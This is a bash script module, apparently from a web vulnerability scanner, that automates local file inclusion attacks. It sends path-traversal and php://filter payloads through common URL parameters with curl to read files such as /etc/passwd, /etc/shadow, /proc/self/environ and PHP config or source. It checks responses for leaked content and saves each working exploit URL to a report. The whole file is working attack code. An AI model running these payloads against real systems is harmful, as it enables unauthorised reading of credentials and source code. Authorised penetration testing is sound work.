#!/usr/bin/env bash
# Vector 03: Local/Remote File Inclusion
# Desc: LFI/RFI via file parameters, path traversal
# Detect: file=, page=, include=, template=, load= parameters
# Severity: CRITICAL
# Tools: curl

vector_lfi() {
  local target="$1"
  local report="$2"
  local findings=0
  
  print_info "Testing File Inclusion (LFI/RFI) vectors..."
  
  local lfi_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content")
  local lfi_payloads=(
    "/etc/passwd"
    "../../../../etc/passwd"
    "../../../../windows/win.ini"
    "/proc/self/environ"
    "../../../../etc/hosts"
    "php://filter/convert.base64-encode/resource=index"
    "php://filter/convert.base64-encode/resource=config"
    "/etc/nginx/nginx.conf"
    "../../../../etc/shadow"
  )
  
  # Try common LFI parameters
  for param in "${lfi_params[@]}"; do
    for payload in "${lfi_payloads[@]}"; do
      local test_url=""
      if [[ "$target" == *\?* ]]; then
        test_url="${target}&${param}=${payload}"
      else
        test_url="${target}?${param}=${payload}"
      fi
      
      local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
      
      if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]\|LoadProfile\|Windows Registry\|^#\|server_name\|listen\|proxy_pass"; then
        print_find "LFI confirmed!" "File read via parameter $param with payload: $payload"
        echo "SEVERITY: CRITICAL
VECTOR: Local File Inclusion (LFI)
DETAIL: LFI via parameter '$param' on $target
EVIDENCE: System files readable
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt"
        findings=$((findings + 1))
        break 2
      fi
      
      # Check for PHP filter base64
      if echo "$response" | grep -qiE '^[A-Za-z0-9+/]*={0,2}$' && [ ${#response} -gt 100 ]; then
        local decoded=$(echo "$response" | base64 -d 2>/dev/null)
        if [ -n "$decoded" ] && echo "$decoded" | grep -qi "<?php\|<\w+\s*\|config\|db_host\|DB_HOST"; then
          print_find "LFI with PHP filter!" "Source code disclosure via php://filter"
          echo "SEVERITY: CRITICAL
VECTOR: LFI via PHP Filter
DETAIL: PHP source code disclosure via php://filter on $target
EVIDENCE: Base64 encoded source retrieved and decoded
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt"
          findings=$((findings + 1))
          break 2
        fi
      fi
    done
  done
  
  return $findings
}